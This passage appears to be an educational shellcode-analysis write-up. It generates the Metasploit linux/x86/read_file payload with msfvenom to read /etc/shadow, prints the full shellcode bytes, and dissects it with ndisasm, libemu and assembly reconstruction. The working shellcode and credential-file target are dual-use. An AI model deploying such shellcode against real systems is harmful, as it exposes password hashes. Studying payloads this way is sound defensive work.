Generating shellcode sample
Again, check the options the MSF payload expects as required parameters. This time we see we need a File Descriptor (FD) and a path the file would to be expected.
The FD is by default 1 for msfvenom, which means the content of the file to be read, will be displayed to screen (STDOUT = 1).
MSF payload requirements
$ msfvenom --list-options -p linux/x86/read_file
Options for payload/linux/x86/read_file:
=========================
Name: Linux Read File
Module: payload/linux/x86/read_file
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 62
Rank: Normal
Provided by:
hal
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FD 1 yes The file descriptor to write output to
PATH yes The file path to read
Description:
Read up to 4096 bytes from the local file system and write it back
out to the specified file descriptor
Next step is generating the shellcode with the required options:
Generating shellcode in C
$ msfvenom -p linux/x86/read_file path=/etc/shadow fd=1 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Final size of c file: 331 bytes
unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00";
Without newlines:
“\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00”
Creating binary file for later analysis
RAW
$ msfvenom -p linux/x86/read_file path=/etc/shadow fd=1 --platform linux -a x86 R -o msf_linx86_readfile_sample3.bin
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Saved as: msf_linx86_readfile_sample3.bin
C
$ echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" > msf_linx86_readfile_sample3_alt.bin
Differences between raw output and generated C code
Still doing this exercise just as for the other shellcodes. Result is not very suprising: raw and c are both equally sized and contain a lot of NULL-bytes.
Analyzing with NDISASM
$ echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" | ndisasm -u -
00000000 EB36 jmp short 0x38
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
00000038 E8C5FFFFFF call dword 0x2
0000003D 2F das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7368 jnc 0xac
00000044 61 popad
00000045 646F fs outsd
00000047 7700 ja 0x49
Analyzing with libemu
Nothing special going on when using Libemu. Let’s go on for some real work in assembly.
$ sctest -vvv -S -s 10000 -G libemu_msf_linx86_readfile_sample3 < msf_linx86_readfile_sample3.bin
graph file libemu_msf_linx86_readfile_sample3
verbose = 3
[emu 0x0x9c700a0 debug ] cpu state eip=0x00417000
[emu 0x0x9c700a0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9c700a0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags:
[emu 0x0x9c700a0 debug ] cpu state eip=0x00417000
[emu 0x0x9c700a0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9c700a0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags:
[emu 0x0x9c700a0 debug ] EB36 jmp 0x38
[emu 0x0x9c700a0 debug ] cpu state eip=0x00417038
[emu 0x0x9c700a0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9c700a0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags:
[emu 0x0x9c700a0 debug ] E8C5FFFFFF call 0xffffffca
[emu 0x0x9c700a0 debug ] cpu state eip=0x00417002
[emu 0x0x9c700a0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9c700a0 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags:
[emu 0x0x9c700a0 debug ] B805000000 mov eax,0x5
[emu 0x0x9c700a0 debug ] cpu state eip=0x00417007
[emu 0x0x9c700a0 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9c700a0 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags:
[emu 0x0x9c700a0 debug ] 5B pop ebx
[emu 0x0x9c700a0 debug ] cpu state eip=0x00417008
[emu 0x0x9c700a0 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x0041703d
[emu 0x0x9c700a0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags:
[emu 0x0x9c700a0 debug ] 31C9 xor ecx,ecx
[emu 0x0x9c700a0 debug ] cpu state eip=0x0041700a
[emu 0x0x9c700a0 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x0041703d
[emu 0x0x9c700a0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags: PF ZF
[emu 0x0x9c700a0 debug ] CD80 int 0x80
stepcount 5
copying vertexes
optimizing graph
vertex 0x9cc63d0
going forwards from 0x9cc63d0
-> vertex 0x9cc8568
-> vertex 0x9cc8810
-> vertex 0x9cc88e0
-> vertex 0x9cc8a40
copying edges for 0x9cc8a40
vertex 0x9cc8bb8
going forwards from 0x9cc8bb8
copying edges for 0x9cc8bb8
[emu 0x0x9c700a0 debug ] cpu state eip=0x0041700c
[emu 0x0x9c700a0 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x0041703d
[emu 0x0x9c700a0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9c700a0 debug ] Flags: PF ZF
Recompile shellcode in ASM
Get ASM instructions from ndisasm
$ ndisasm -u msf_linx86_readfile_sample3.bin | awk '{print substr($0, index($0, $3))}'
jmp short 0x38
mov eax,0x5
pop ebx
xor ecx,ecx
int 0x80
mov ebx,eax
mov eax,0x3
mov edi,esp
mov ecx,edi
mov edx,0x1000
int 0x80
mov edx,eax
mov eax,0x4
mov ebx,0x1
int 0x80
mov eax,0x1
mov ebx,0x0
int 0x80
call dword 0x2
das
gs jz 0xa4
das
jnc 0xac
popad
fs outsd
ja 0x49
Append ASM template
$ cp asm_template.asm msf_linx86_readfile_asm_sample3.asm
$ ndisasm -u msf_linx86_readfile_sample3.bin | awk '{print substr($0, index($0, $3))}' >> msf_linx86_readfile_asm_sample3.asm
Compiling ASM file
Copy file for manual modifications
$ cp msf_linx86_readfile_asm_sample3.asm asm_linx86_readfile_sample3.asm